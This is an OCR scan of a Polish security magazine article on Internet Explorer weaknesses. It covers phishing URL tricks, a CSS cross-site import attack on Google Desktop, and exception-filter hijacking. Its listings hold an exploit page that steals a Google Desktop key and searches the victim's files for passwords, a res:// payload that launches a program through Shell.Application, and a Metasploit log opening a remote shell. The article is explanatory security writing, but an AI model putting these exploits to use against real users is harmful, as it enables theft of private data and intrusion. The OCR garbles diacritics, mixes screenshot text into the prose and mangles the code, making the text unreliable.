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Delikatnosc¢ Internet

Explorera

Krzysztof Koztowski |:|

stopien trudnosci

a poczatek warto wspomnie¢ o tym
N co dziato sie do tej pory z obecnym

synonimem internetu, bo to wcale nie
od niego sie zaczeto. Zaczeto sie bowiem od
przegladarki WorldWideWeb (Rysunek 1.)
napisanej okoto roku 1990, oraz Silversmith,
ktorej niektére z funkcji do tej pory nie zosta-
ty zaimplementowane w Zzadnej z obecnych
przegladarek. Przed spopularyzowaniem |E
triumfy Swiecity takze ViolaWWW i NCSA
Mosaic, ktéra w pewien sposob przeksztatcita
sie ostatecznie w legendarnego Netscape
Navigatora. To witasnie Netscape Navigator
dat poczatek Mozilli, ktéra powstata na bazie
jego silnika. Poprzez podzielenie Mozilli i wy-
odrebnienie jedynie przegladarki WWW stwo-
rzono Firefoxa, ktéry wydaje sie by¢ obecnie
najwiekszym konkurentem IE. Poniewaz za-
uwazytem, ze coraz wiecej mtodych ludzi nie
kojarzy przyczyn sukcesu przegladarki Micro-
softu, kojarzac za to, ze nie byt on pierwszg
przegladarka i nie zawsze byt przegladarkg
najpopularniejszg, musze powiedzie¢ jedng
rzecz. Sukces |E jednoznacznie kojarzony
jest z sukcesem systemu Windows. Statysty-
ki jednoznacznie pokazuja, ze popularnosc¢
przegladarki rosta z popularnoscig systemu
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(" Jedno z pytan, ktére z biegu zostang przez czytelnikow
Hakin9u zaliczone do grupy retorycznych, jest pytanie o to
ktora z przegladarek jest przegladarka najdelikatniejsza. | choé
powiedzenie ,,wszystko co piekne jest delikatne” do niedawna
nie miato zupetnie zadnego odniesienia w stosunku do
najpopularniejszej przegladarki na swiecie, to przynajmniej na

z Redmond. Najwiekszy skok odnotowuje sie
tu przy Windows95 z ktérym to przegladar-
ka zostata zintegrowana. Mozna tu jeszcze
wspomnie¢ o gtosnych procesach w stanach
odnosnie stopnia integracji IE z Windows 98
i 0 tym, ze proces dotyczyt niemoznosci usu-
niecia przegladarki z systemu tak jak normal-
nych programow. To tyle w kwestii wyjasnienia
i wstepu.

IE <=> Windows?

Wiekszos¢ phisheréw czy ktokolwiek nastawio-
ny na obnazanie dziur zwigzanych z WWW,
najwiecej moze sie nauczyC dzieki IE i jego
delikatnosci. To jedna z przyczyn, ktoére bez-
posrednio wptynety na fakt, ze i sam Windows
uwazany jest za jeden z najdelikatniejszych
systemow. Nie wszyscy jednak wiedzg, ze zda-
nie |IE <=> Windows jest nie prawdziwe.

Po wydaniu Windows 95 zapowiedziano
wydanie |IE na inne platformy systemowe jak
MAC i UNIX (Solaris i HP-UX). Pierwszg wyda-
ng wersjg byta 4,01; ostatnig 5,0 SP1 (Rysunek
2.). Obecnie MS nie pracuje juz nad wersjami
dla Unixéw, a od wersji 7 nie ma juz nawet
Microsoft Internet Explorer. Jest Windows In-
ternet Explorer.
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Rysunek 1. Pierwsza przeglqdarka World Wide Web

Teoria

Internet Explorer 3 byt pierwszg z po-
pularnych przegladarek obstuguja-
cych CSS, ze wsparciem dla ActiveX,
apletéw Javy. To dato mu przewage
nad Netscape Navigatorem.

Przegladarka uzywa ,zone-ba-
sed security framework” co spro-
wadza sie do grupowania stron wg.
pewnych kryteriéw. W zamierzeniach
ma to zapobiega¢ wykonywaniu sie
niepozadanych funkcji (Rysunek 8).
Aplikacja monitoruje kazde zgdanie
instalacji dzieki czemu dopoki uzyt-
kownik nie potwierdzi zrédta jako
bezpiecznego, system bedzie moni-
towat zgdaniem potwierdzenia.

W Windows Vista IE7 posiada tryb
chroniony - ,Protected Mode”, w try-
bie tym, przegladarka dziata nawet
Z mniejszymi prawami niz uzytkow-
nik, ktéry ja uruchomit. Przeglgdarka
ma wowczas dostep tylko do katalogu
Temporary Internet Files, nie moze in-
stalowa¢ zadnego oprogramowania,
ani zmienia¢ konfiguracji bez poro-
zumienia z odpowiednim procesem
systemowym (broker process).

Delikatnos¢ Internet Explorera
zostata uznana dzieki duzej ilosci
spyware, adware, czy wirusow wyko-
rzystujacych IE jako furtke do syste-
mu. Czasem wystarczyto odwiedzi¢
specjalnie przygotowang strone by
umozliwi¢ instalacje ztosliwej apli-

kacji (Rysunek 8). Po stronie ztosli-
wego oprogramowania stata takze
postawa Microsoftu, bardzo wolno
reagujacego na zgtaszane dziury
bezpieczenstwa. Znacznie wolniej niz
konkurencja. Wykorzystywane byto
to przez rzesze script kiddies oraz
catkiem dojrzatych programistow im-
plementujacych ztosliwe oprogramo-
wanie w wiekszych aplikacjach.
Przyktadem niech beda tutaj bazy
danych na temat bezpieczenstwa.
Wedtug Secunii od 28 maja tego roku
na 104 dziury w Internet Explorerze

[0 H:\info.txt [lokal) - Microsoft Internet Explorer
Datei Bearbeiten Ansicht Explorer Favoriten 2

19 wecigz pozostaje niezatatanych.
Wsrod nich wiekszo$¢ oznaczona
jest jako ,ekstremalnie krytyczne”.
Dla poréwnania, najwiekszy konku-
rent |[E - Mozilla Firefox, w tym czasie
miat zgtoszonych 36 dziur. Trzy wcigz
pozostajg niezatatane, a ich ozna-
czenie to ,najmniej krytyczne”. Inny
konkurent |IE - czyli Opera ma jedng
zgtoszong dziure, ktéra jest zatatana.
Nie ma zadnych niezatatanych dziur.
W maju 2006, magazyn PC World
oznaczyt Internet Explorera 6 jako
najgorszy produkt wszech czasow.
Znany jest takze fakt braku wsparcia
dla standardow, co znacznie utrudnia
pisanie aplikacji webowych kompaty-
bilnych z IE i innymi przegladarkami.
Problemem dla programistow MS
byto nawet dodanie dobrego wspar-
cia dla formatu .png. Do tej pory IE
pozostawiat takze wiele do zyczenia
pod wzgledem predkosci.

Szczegbty

Istnieje wiele znaczacych stabosci
i dziur w technologiach zaimple-
mentowanych w Internet Explorerze,
a majacych zwigzek z modelem do-
men i stref bezpieczenstwa, lokalnego
systemu plikéw (Local Machine Zone),
dynamicznego HTML (DHTML), stron
pomocy w HTML, rozpoznawania ty-
pow MIME, interfejsem uzytkownika
(GUI), oraz ActiveX. Z uwagi na fakt,
ze |E jest mocno zintegrowany z Win-
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Rysunek 3. Internet Explorer 2.0

dows, czesto udany atak na przegla-
darke prowadzi do uzyskania dostepu
do systemu operacyjnego.

Vista przynosi dwa rozwigzania:
mechanizm ,User Account Control”,
ktéry zmusza uzytkownika do po-
twierdzenia kazdej akcji mogacej
mie¢ wptyw na bezpieczehnstwo
systemu, nawet w przypadku pracy
jako administrator systemu oraz
~Protected-mode IE”, dzieki ktéremu
przegladarka pracuje ze znacznie
mniejszymi prawami niz uzytkownik.

Duza czes$¢ dziur bezpieczenstwa
Internet Explorera zwigzana jest za-
implementowanym modelem obiekto-
wym dla komponentéw. (Component
Object Model - COM). Wbudowanie
COM w Internet Explorera przez me-
chanizm ActiveX czy Browser Helper
Objects (BHO) otworzyto szereg
mozliwosci ktére staty sie bramg dla
wirusow, trojanéw i infekcji spywaru.

Atak na stabosci Internet Explo-
rera w celu przechwycenia informa-
cji o uzytkowniku za pomocg Google
Desktop.

Wieksza cze$¢ czytelnikow praw-
dopodobnie jest ostrozna jesli chodzi
0 bardzo popularny trick uzywany
przez spameréw i im podobnych,
ktérzy tworzg adresy URL z nazwa-
mi uzytkownika, ktére wygladajg jak
nazwy hostéw, by sprawi¢ by ludzie
ufali niebezpiecznym stronom.
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Na przyktad http://www.microsoft
.com&session%123123123@Kkrzysie
k.software.com.pl. Ten trick uzywany
jest czesto do kradziezy kont typu
paypal, przez oszukiwanie uzytkowni-
kéw. Wprowadza ich bowiem w btad,
ze hasto zostato zresetowane, lub Zle
wpisane. Komunikat generowany jest
oczywiscie przez strone przygotowang
specjalnie w tym celu, a na ktérg adres
przekierowuje. Uzytkownik poinformo-
wany o tym, ze hasto nalezy zmienic
i ze nalezy najpierw wpisac stare hasto
moze faktycznie to uczyni¢ — dajac tym
samym je na tacy phisherowi.

Ia Edt View Go Fmiu Help

Ulepszona wersja tego ataku
czyni go znacznie bardziej niebez-
piecznym i polega na wprowadze-
niu warto$ci 0x01 po symbolu @
w fatszywym adresie. Mozna spra-
wi¢, ze Internet Explorer nie bedzie
wcale wyswietlat reszty adresu. Na
przyktad:  http://www.microsoft.co-
mé&session%123123123@0x01krzy-
siek.software.com.pl

W ogodle

Jaki$ czas temu odkryto mozliwos¢
wykorzystania Google Desktop do
uzyskania  zdalnego dostepu do
prywatnych danych, jak numery
kart kredytowych czy hasta. Mozna
tego dokona¢ poprzez odpowiednio
przygotowang strone internetowa.
Dzieki kilku stabosciom projekto-
wym Internet Explorera mozliwe
jest tu zmuszenie odwiedzajgcych
do uruchomienia wyszukiwania pro-
wadzacego na strony internetowe
wykorzystujgce te stabosci. Na czym
polegajg te stabosci i jak je wykorzy-
stac? Wystarczy IE w wersji 6, o co
w tej chwili nie trudno — bo jest to
najpopularniejsza i najaktualniejsza
petna wersja dostepna w momencie
pisania tego artykutu. Przyda sie
takze Google Desktop w wersji v2,
oczywiscie zainstalowany. Mozna
go przetestowa¢ za pomoca skryptu
z Listingu 1. Co prawda Google za-
tatato juz swoje strony, jednak przy-
ktad daje dobre wyobrazenie.
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Start exploring now!

Address box

“iarmet Explorer &

Welcome to Microsoft Internet Explorer

Microsoft Internet Explorer provides a fun and easy way to access and display Web pages, whether they are
stored locally on your computer, your local network, or on the Internet. This page is stored locally on your

Once you are connacted to the Internet, you can use Internet Explorer to view a huge variety of information.
You can also incorporate this information into your documents or save it to a file on your computer.

+ Tobrowse the Web pages on a server installed onyour local network, type the name of that server in
the Address box at the top of this window. For example, if the server is named WCorpNet, type: Corpnet
+  Toview World Wide Web pages on a server that is on the Internet, type the address of the server in the

. f you are connecrad to the Internet and need a place to begin browsing, click the following hyperlink,

1

(s com, to find information about Microsoft products and some links to other useful sites. |
[

Rysunek 4. Internet Explorer 3.0

www.hakin9.org



XXXXX

| Fie Edt View Go Favoites Help

/3 Main Page - Wikipedia, the free encyclopedia - Microsoft Internet Explorer

1,357,323 articles in English

Overview - Searching - Editing - Questions - Help

Today's featured article

GREMLINS

by Joe Dante and released in 1984, The action follows a young

creature then spawns other creatures that transform into small,
destructive monsters. This story was continued with a sequel,
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Madonna.
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Rysunek 5. Internet Explorer 4

W szczegole

Zwykle przegladarki majg wbudowane
silne restrykcje co do interakcji zwigza-
nych z kilkoma domenami. Odpowied-
nio przygotowana strona pozwala prze
kierowa¢ uzytkownika na inny adres.
Nie moze jednak sprawi¢ by czytana
byta jej zawarto$¢ lub manipulowany
byt jakikolwiek obiekt DOM. To ob-
ostrzenie jest dobrze przetestowane,
w zwigzku z czym wiasciciel strony
nie moze szpiegowa¢ uzytkownika
surfujacego po internecie za pomoca
JavaScrtiptu. Dodatkowo, jesli uzyt-
kownik jest juz zalogowany do jakiej$
ustugi (gmail lub hotmail) to gdyby nie
byto tych zabezpieczen, odwiedzana
strona mogtaby wykonywa¢ pewne
operacje na koncie uzytkownika (np.
kasowanie wiadomosci czy wysytanie
ich). W Internet Explorerze te zabez-
pieczenia dziatajg dobrze, dopdki do
gry nie wejdg importy CSS. Popular-
nie zwie sie to atakami CSSXSS lub
Cascading Style Sheets Cross Site
Scripting.

Odpowiednio przygotowana stro-
na moze zaimportowac reguty CSS
przy uzyciu dyrektywy ,@import”. |IE
ma jeszcze bardzo wygodng funkcje
dostepng z poziomu javascriptu:
saddimport” ktéra dziata jak ,@im-
port” ale w $rodowisku uruchomie-
niowym. Reguty CSS moga pdzniej
postuzyé do uzyskania dostepu do

wiasciwosci ,cssText” w zestawie
document.styleSheets. Co jednak
stanie sie jesli strona zaimportuje
URL, ktéry nie jest poprawnym
plikiem CSS? Otéz IE pozwoli na
przetworzenie CSS pozwalajgc tym
samym na czytanie wtasciwosci
,cssTex” oraz zdalne czytanie kodu
html ktéry zostat wezytany do regut
CSS. Poniewaz reguty CSS wyma-
gaja pewne;j struktury dla odpowied-
niej ilosci kodu, moze sie on réznic¢
w zaleznosci od zrédta strony.

File Edit Wiew Favorites Tools Help

Reguty CSS determinujg wyglad
stron i z reguty okreslaja wybor,
wlasnos¢ i wartosci.  Wiasnos¢
i wartosci sa oddzielane dwukrop-
kiem i zamkniete przez nawiasy. Na
przyktad by pokolorowa¢ linki na
stronie trzeba zdefiniowa¢ reguty
CSS a {color: white}. W celu odzy-
skania kodu z danego adresu, ktory
dostarcza niepoprawny kod CSS,
strona docelowa musi zawiera¢ kilka
znakéw uzywanych w CSS jak na
przyktad nawiasy. Na szczescie wiele
obecnych stron zawiera je, poniewaz
sg one bardzo popularne w kodzie
Javascript i regutach CSS imple-
mentowanych na stronach. Jak tylko
parser CSS Internet Explorera trafi
na odpowiednie nawiasy, sprobuje on
odczyta¢ dane i zinterpretowa¢ dane
po nich wystepujace. Nawet w przy-
padku gdy te reguty CSS nie bedg
miaty dla niego zadnego sensu, IE
wcigz bedzie je interpretowat i pozwo-
li obejrze¢ je w ,cssText”. Kombinacje
nawiasow, dwukropkow i Srednikow
pozwala decydowac, ktore kawatki
kodu moga zosta¢ odczytane.

Podczas uzywania technik cssxss
atakujagcy z pewnoscig bedzie w sta-
nie uzyska¢ kod JavaScript. Jednak
moze dopomdc szczesciu poprzez
wstrzykiwanie znakow CSS w prze-
strzeh docelowg adresu. Poniewaz
wiele stron generowanych jest dy-
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Cadmeon is the earliest English poet whose name is
known. An Anglo-Saxon herdsman attached to the double
monastery of Streonzeshalch (Whitby Abbey) during the
abbacy of St. Hilda, he was originally ignorant of the art of
song but leamed to compose one night in the course of a
dream. He later became a zealous monk and an
accomplished and inspirational religious poet. Caedmon is.
one of twelve Anglo-Saxon poets identified in medieval

| sources, and one of only three for whom both roughly FIFA World Cup.
contemporary biographical information and examples of = Former Enron CEO Ken Lay dies of a heart attack only
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= The Nathu La Pass (pictured) between
India and the People’s Republic of China,
sealed during the Sino-Indian War, re-
opens for trade after 44 years

= STS-121: The Space Shuttle Discovery performs a
Rendezvous Pitch Maneuver and docks with the
International Space Station.

= France defeats Portugal 1-0 in the semi-finals of the 2006

Rysunek 7. Internet Explorer 7 z zaktadkami

namicznie i dostaje parametry przez
URL, wstrzykiwanie znakow jest zwy-
kle trywialnie proste. Mechanizm jest
podobny do tego uzywanego w przy-
padku klasycznych atakéw XSS, z tg
réznica, ze tutaj atakujacy wstrzykuje
znaki, ktoére przez wiekszos$¢ stron
uznawane sg za nieszkodliwe.

Podobnie jak w przypadku wigk-
szosci dziur XSS, btedy projektowe
Internet Explorera pozwalajg ataku-
jacemu przechwycenie prywatnych
danych lub wykonanie odpowiednie-
go kodu na zdalnej maszynie. R6zni-
ca w tym przypadku polega na tym,
ze strona wcale nie musi by¢ podatna
na wstrzykiwanie kodu. Wszystko co
musi zrobi¢ atakujgcy to skuteczne
zaproszenie ofiary na odpowiednio
przygotowang strone. Tysigce stron
moze zostac do tego uzytych, a do-
datkowo nie ma tatwego rozwigzania
chronigcego przed atakami, do poki
IE nie zostanie zatatane. Daje to
catkiem sporg liczbe uzytkownikéw
podatnych na atak.

Podatnos¢ ta testowana byta na
w petni spatchowanej przegladarce
Microsoft Internet Explorer w wersji
6, wczesniejsze najprawdopodobniej
takze sg wrazliwe. Dla poréwnania
Mozilla Firefox wydaje sie prze-
strzegac restrykcji i zachowywac je
w importach CSS co z kolei czyni jg
odporng na tego typu ataki. Opera
nie jest wrazliwa, poniewaz nie ob-
stuguje kolekcji styleSheets. Zabez-
pieczeniem dla uzytkownikow moze
by¢ wytaczenie obstugi Javascriptu
w Internet Explorerze lub uzycie in-
nej przegladarki.

hakin9 Nr 1/2007

Exploit

dla Google Desktop

By zademonstrowa¢ co mozna zro-
bi¢ dzieki opisanej wyzej stabosci,
przygotujemy skrypt exploitujacy
Google Desktop Search (GDS) do
wyszukiwania i przechwytywania
prywatnych danych uzytkownikéw
poprzez zdalng strone. Jednak za-
nim do tego przejdziemy — krotka
charakterystyka dziatania mechani-
zmu GDS.

Google Desktop Search to
catkiem uzyteczny kawatek kodu,
ktéry indeksuje dane uzytkownika.
Do indeksowanych danych zalicza
dokumenty, maile, arkusze itd. Po
zindeksowaniu uzytkownik moze
przeszukiwac¢ pliki za pomocg in-
terfejsu podobnego do tego ktory
posiada wyszukiwarka Google.
Wyszukiwanie realizowane jest za
pomocg serwera http zainstalowa-
nego na lokalnej maszynie. Serwer
nastuchuje na porcie 4664 i zwigza-
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ny jest jedynie z lokalng maszyng
127.0.0.1, co uniemozliwia nawig-
zanie bezposredniego potaczenia
z zewnatrz.

Google dodato takze dodatkowe
zabezpieczenie, ktére uniemozliwia
dostep zewnetrznych stron do lokal-
nego serwera — stad proby explo-
itowania dziur XSS raczej sie nie
powiodg. W celu uzyskania dostepu
do interfejsu GDS generowany jest
pseudo-losowo klucz, ktéry musi
zosta¢ przekazany jako parametr
w adresie URL. Klucz generowany
jest w momencie gdy uzytkownik
klika na ikone GDS, a domysina
przegladarka uzywajac wygenero-
wanego przez serwer klucza taczy
sie z nim. Jesli klucz okaze sie bted-
ny lub nie bedzie go wcale, GDS
nie pozwoli na wykonanie zadnego
zapytania i zwroci komunikat btedu.
W takim wypadku jedyng rzeczg do
jakiej przegladarka bedzie miata do-
step, bedzie obrazek w formacie .gif
—logo Google.

Google zintegrowato po za tym
GDS z jej sztandarowg wyszuki-
warkg na google.com. Po instalacji
GDS, pojawi sie nowy link w go-
ogle.com nad polem zapytania. Link
nazwany zostat ,Desktop”. Link
prowadzi do adresu URL lokalnego
serwera i zawiera klucz. Dzieki te-
mu uzytkownik bedzie mogt przejsc
do wyszukiwania lokalnych plikow,
nie zauwazajgc nawet, ze opusz-
cza strone Google. Link ,desktop”
w zasadzie nie pochodzi nawet od
Google, ale jest wstrzykiwany przez
GDS poprzez plugin przegladarki

2002

Rysunek 8. Popularno$c¢ Internet Explorera
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Listing 1. Wykorzystanie stabos$ci Internet Explorera i Google Desktop

<html>
<head>

<title>Wykorzystanie slabosci Internet Explorera i Google Desktop</title>

<style type="text/css">
@import url ("http://news.google.com/news?hl=en&ned=pl&g=%7D%7B");
</style>
</head>
<body>
<h2>Wykorzystanie slabosci Internet Explorera i Google Desktop</h2>
<br><center>
Przetrawiony kod HTML zaimportowany poprzez CSS z Google News.
W tym wypadku link do lokalnej maszyny:<br>
<textarea rows="26" cols="70" id="nowesssrc"></textarea>
<p>
Klucz z Google Desktop Sciagniety z linku:<br>
<input type="text" size="50" id="klucz">
<p>
Wyniki z Google Desktop na lokalnej maszynie dla siowa "password"
w surowym HTML po przetworzeniu CSS:<br>
<textarea rows="24" cols="90" id="wyniki">
Prosimy czekaé¢ na wyniki</textarea>
<p>
Oryginalna strona komunikatu Google Desktop z maszyny lokalnej:<br>
<iframe width="500" height="250" id="strona"></iframe>
<p>
<script>
// Pokazujemy wyniki zapytania google desktop

function showResults ()

document.getElementById ("wyniki") .innerText =

document.styleSheets (0) .imports (1) .cssText;

// Pokaz sparsowany CSS kod HTML z importu z Google News
document.getElementById ("nowesssrc") .innerText =
document.styleSheets (0) .imports (0) .cssText;

// Wyrazenie regularne parsujace klucz z wynikow importu CSS
var re = new RegExp("127.0.0.1:4664/searché&s=(.+2?)\?q");

var reRes = re.exec (document.styleSheets (0).imports (0).cssText);
if (reRes)

// Pokaz sparsowany klucz
document.getElementById("klucz").innerText = reRes[l];

// Polacz poprawny klucz z adresem lokalnego serwera

i dodaj zapytanie o haslo do linka

var searchURL = "http://127.0.0.1:4664/search&s=

" + reRes[l] + "g=%7Bpassword";

// Dodaj zaimportowane CSS do tworzonego URLa
document.styleSheets (0) .addImport (searchURL) ;

// Pokaz strone wyszukiwania w ramce
document.getElementById("strona").src = searchURL;

// Poczekaj kilka sekund ze strona z wynikami

setTimeout ('showResults()"', 5000);

else

// Jesli nie uda sie sparsowac klucza, pokaz blad
document.getElementById("klucz").innerText =

"nie moge pobrac linku Google Desktop";
document.getElementById ("wyniki") .innerText =

"Nie moge pobrac wynikow Google Desktop";

</script>
</body>
</html>
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— jak tylko ta stwierdzi, ze odwie-
dzana jest strona Google. Ma to
zapobiega¢ wycieknieciu klucza na
zewnatrz.

W celu wykorzystania luki z GDS
atakujacy musi najpierw zdoby¢
klucz. Bez niego ciezko uzyskac
bytoby dostep do lokalnego serwera.
Jak wspomniatem wczesniej, klucz
wystepuje w linku na stronie Google,
wiec to jest wtasnie miejsce z ktérego
mozna go przechwyci¢ poprzez uzy-
cie ataku cssxss. Z uwagi na projekt
stron Google, przechwycenie linku
nie bedzie mozliwe na wiekszosci ich
stron. Mimo to jednak istnieje albo ist-
niat sposoéb wykorzystujacy link, ktéry
moze zosta¢ zwrécony przez strone
Google News, na news.google.com.
Nalezy wstrzykng¢ nawiasy klamro-
we w zapytanie. Nastepnie wystarczy
wydoby¢ klucz za pomocg wyrazen
regularnych i importu CSS na adresie
z lokalnego serwera . Mozna doda¢
takze do zapytania nawias klamrowy
"{" by wyniki wyswietlone zostaty tak-
ze we wiasnosci ,cssText” po spar-
sowaniu przez CSS. Ten znak jest
ignorowany przez silnik wyszukiwarki
i nie ma wptywu na wyniki.

Przyktad ten petni spatchowanym
Internet Explorerem (z domyslnymi
ustawieniami zabezpieczen i prywat-
nosci) oraz z Google Desktop v2. Nie
zadziata z innymi przeglgdarkami,
chyba, ze sg to pochodne IE. Wyniki
mogq takze byc¢ rézne w zaleznosci
od wersji jezykowej i projektu strony
Google News i zawartosci dysku
ofiary (oraz prawdopodobnie wers;ji
jezykowej GDS).

Atak#2 Zdalne
wykonywanie kodu
Dobrze znamy komunikat ze stowami
»=unhandled exception” pojawiajacy sie
w réznych okolicznosciach w systemie
Windows. Btedy o ktoérych informuje
moga pozwala¢ na wykonanie od-
powiednio  przygotowanego kodu.
Dla atakujagcego najwazniejsze jest
zdobycie wowczas kontroli nad filtrem
takich wyjatkow. Od wersji SP2 poja-
wity sie pewne zabezpieczenia co do
kontroli takich wyjatkow, jednak mimo
tych usprawnien, ktére mierzg bez-
posrednio w uniemozliwienie kontroli
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<html>
<body>
<script>

function Notatnik()

$7C0%7C0%7C0%7C0%7C0%7CO";

document.location = url;

</script>

<center>

<br>

</body>
</html>

Listing 2. A ofo przyktad innego, zatatanego juz btedu w IES5, ktory
umozliwiat wykonanie, w tym wypadku kodu uruchamiajgcego notatnik

{ var url = 'res://mmcndmgr.dll/prevsyml2.htm
#%29%3B%3C/style%3E%3Cscript%20language
$3D%277script%27%3Ea%3Dnew%s20ActiveXObject%28%27
Shell.Application%$27%29%3Ba.ShellExecute%28%27
notepad$27%29%3B%3C/script%3E%$3C%21--//%7C0%7C0

Jesli klikniesz na przycisk w przegladarce IE5 i nie zainstalowales
latki MS06-044, uruchomisz notatnik<br>

<input type='button' onClick='Notatnik()' value='Uruchom notatnik'>

filtra, wcigz mozna zdoby¢ kontrole
nad filtrem na wyzszych poziomach.
Jest to mozliwe dzieki skorzystaniu
z dziury projektowej, a doktadniej spo-
sobu w jaki filtry wyjatkow zostaty ze
sobg powigzane. Takie podejscie ma
swoje ograniczenia, ktore polegajg na
tym, ze atakujacy moze kontrolowac
jedynie powigzania miedzy filtrami jak
tadowanie i zwalnianie bibliotek. Najta-
twiej skorzysta¢ z tego w przypadku
Inernet Explorera.

To, ze dziury mozna podzieli¢ na
te, ktére pozwalajg na wykonanie ko-
du i takie, ktére na to nie pozwalaja,
pozwala stwierdzi¢, czy dana dziura
moze zostaé wykorzystana przez
atakujgcego czy nie. Jednak wiele
z tych pierwszych dziur jest niegroz-
nych w zwigzku z tym, ze w ogdle nie
majg do czynienia z buforem pamieci.
Z drugiej strony wiele z nich okazuje
sie pozniej dopiero dziurami ktére na
atak pozwola.

W zwigzku z tym warto rozwazaé
czy dana dziura moze w jakimkolwiek
kierunku wptywa¢ na mozliwos¢ wy-
konania kodu przy pomocy innej apli-
kacji. Dla przyktadu, wywotanie NULL
pointer spowoduje naruszenie praw
dostepu i zarzadca krytycznych wy-
jatkow odpowiednio zareaguje — pod
warunkiem, ze ma na to odpowiednig
instrukcje. Jesli zaden z zarzadcéw
nie wie co z takim fantem zrobi¢, wy-
wotany zostanie filtr wyjatkow najwyz-

szego poziomu (unhandled exception
filter — UEF). Wywota go kernel32lun-
handledExceptionFilter Ueéﬁ zostat
ustawiony). Po za tym mechanizmem,
mnie ma tu wielu kontrolowalnych drog
ktérymi moze podazac atakujacy, bez
spetnienia innych warunkéw. Dlatego
najlepszym miejscem na szukanie
tego typu luk jest w samym procesie
zarzadzania wyjatkami.

Pierwszym etapem zarzadzania
badz dystrybucji wyjatkéw jest wywo-
tywanie zarejestrowanych dla danych
wyjatkéw watkéw. Pozwala to stwier-
dzi¢, ktére wyjatki sg kontrolowane
i w jaki sposob. Jesli zaden z z za-
rejestrowanych wyjatkéw nie moze
by¢ prze kierowany, nalezy poszukaé
metody na prze kierowanie zarzadcy
wyjatkéw lub jego filtra. Mozna tego
dokona¢ poprzez zmiane wskaznika,

by ten wywotywat okreslony przez
nas kod. Jednak od SP2 jest to
znacznie trudniejsze. Nie jest juz tak
fatwo nadpisywac¢ zmienng globalng
zawierajacg UEF gérnego poziomu.
W celu umozliwienia aplikacjom
obstugi wyjatkéw , zarzgdca dostarcza
interfejs do ich rejestracji. Dzieki niemu
mozna logowa¢ informacje, wykony-
wac odzyskiwanie, obstugiwaé wyjatki
specyficzne dla danego jezyka. W celu
okreslenia i zarejestrowania wyjatku
mozna postuzy¢ sie: kernel32!setun-
handledExceptionFilter Co dziata jak:

LPTOP_LEVEL EXCEPTION_FILTER
SetUnhandledExceptionFilter (
LPTOP_LEVEL EXCEPTION_FILTER
lpTopLevelExceptionFilter

)i

W momencie wywotania, funkcja ta
wskaze argument

lpTopLevelExceptionFilter
i zakoduje go za pomocg
kernel32!RtlEncodePointer.

Wynik przechowany zostanie w zmien-
nej globalne;j :

kernel32!BasepCurrentTopLevelFilter
i prze kierowana do ktorykolwiek

filtra najwyzszego poziomu. Zapisa-

na warto$¢ ze zmienng globalng jest

dekodowana poprzez:

kernel32!RtlDecodePointer

Rejestracja Wx

SetUnhandledExceptionFilter(Wx) => Ux ]

Symetria Wx Symetria Dx

v

Rejestracja Dx
SetUnhandledExceptionFilter(Dx) => Wx

'

[Odrejestrowanie Dx ]

SetUnhandledExceptionFilter(Wx) => Dx

v

Odrejestrowanie Wx

SetUnhandledExceptionFilter(Ux) => Wx]

Rysunek 9. Rejestracja i od rejestrowywanie wyjgtkow
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i zwrécona zgtaszajagcemu. Kodowa-
nie i odkodowanie wykonywane jest
w celu uniemozliwienia atakujgcemu
spowodowania uzycia dodatkowej ilo-
Sci pamieci w celu prze kierowania.

Funkcja kernel32!setunhandleds-
xceptionFilter ZzWraca wskaznik do
oryginalnego najwyzszego poziomu
z dwéch powodow. Po pierwsze
dzieki temu mozliwe jest odtworze-
nie stanu w przysztosci, po drugie
mozliwe jest stworzenie tancucha.
Kiedy jaki$ blok kodu zarejestrowat
wyjatek w UEF, UEF odjrejestrowu-
je go. Robi tak, poprzez ustawienie
pierwotnej wartosci w UEF: kerne-
132!SetUnhandledExceptionFilter.

Powodem jest fakt, ze tak na-
prawde nie ma prawdziwej listy
wyjatkéw kontrolowanej przez filtry.
Metoda od rejestrowywania jest tutaj
kluczem dla atakujgcego. Operacje
rejestracji i od rejestrowywania mu-
szg by¢ wykonywane symetrycznie.
Przyktad ilustruje Rysunek 10.

Jedli  wyjatek przejdzie przez
wszystkie etapy i nie zostanie zarza-
dzony, dystrybutor wyjatkéw dokona
jeszcze jednej operacji zanim zmusi
aplikacje do zamkniecia. Jedng z opciji
jest przestanie aplikacji do debuggera,
jesli jest on aktywny. Jesli nie, musi
obstuzy¢ wyjatek wewnetrznie lub
i zamkna¢ aplikacje, jesli sie to nie
powiedzie. By to umozliwi¢ , aplikacje
moga wywotac filtr wyjatkdw zwigzany
z procesem. W wiekszosci przypad-
kéw rezultat bedzie nastepujacy:

kernel32!UnhandledExceptionFilter

czyli wywotanie instrukcji z infor-
macjg o prze kierowaniu wyjatku.

To co faktycznie wykonuje kerne-
|32!UnhandledExceptionFilter to dwie
rzeczy. Po pierwsze, w przypadku
kiedy debugger nie jest dostepny,
wywota UEF najwyzszego poziomu
w celu zarejestrowania procesu. UEF
najwyzszego poziomu sprobuje obstu-
zy¢ wyjatek, prawdopodobnie wzna-
wigjgc i pozwalajgc na dalszg
prace aplikacji, na przyktad poprzez:
EXCEPTION _CONTINUE EXECUTION. Jesli
to sie nie powiedzie, proces zostanie
zabity, najprawdopodobniej poprzez:
EXCEPTION EXECUTE _HANDLER |ub ZO-

Listing 3. Skrypt w dziataniu:

> exploit

GAEhjcjzQWhl7myEK1Exg0

[*] Uruchomiony Server.

%

Exploit dziata w tle.

[ %

Wysytanie danych (474 bytes)

[ %

Interakcja rozpocznie sie za 1...

msf exploit (windows/browser/ie unexpfilt poc

[*] URL: http://x.x.x.x:8080/FnhWjeVOnU8SN1bA

msf exploit (windows/browser/ie unexpfilt poc) >

[*] Otwarta sesja powloki 1(x.x.x.x:4444 -> y.y.y.y:1059

msf exploit (windows/browser/ie unexpfilt poc) > session -i 1

Microsoft Windows XP [Version 5.1.2600
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\mmiller\Desktop>

stanie wyswietlone okno dialogowe ze
standardowym EXCEPTION CONTINUE
searcH . Jesli debugger bedzie obecny,
filtr wyjatkéw sprébuje prze kierowac
wyjatek do debuggera. W takim wy-
padku UEF najwyzszego poziomu
w ogole nie jest wywotywany.
Podczas pracy w systemie
z nieobecnym debuggerem kerne-
|32!UnhandledExceptionFilter spré-
buje zdekodowac wskaznik zwigzany
z UEF najwyzszego poziomu poprzez
wywotanie:  kernel32!rt1pecodero-
inter Na zmiennej globalnej, ktdra
zawiera UEF najwyzszego poziomu
kerne|32!kerne|32!BasepCurrentTo—

pLevelFilter .

7c862ccl ££35ac33887c push dword
ptr [kernel32!
BasepCurrentTopLevelFilter]
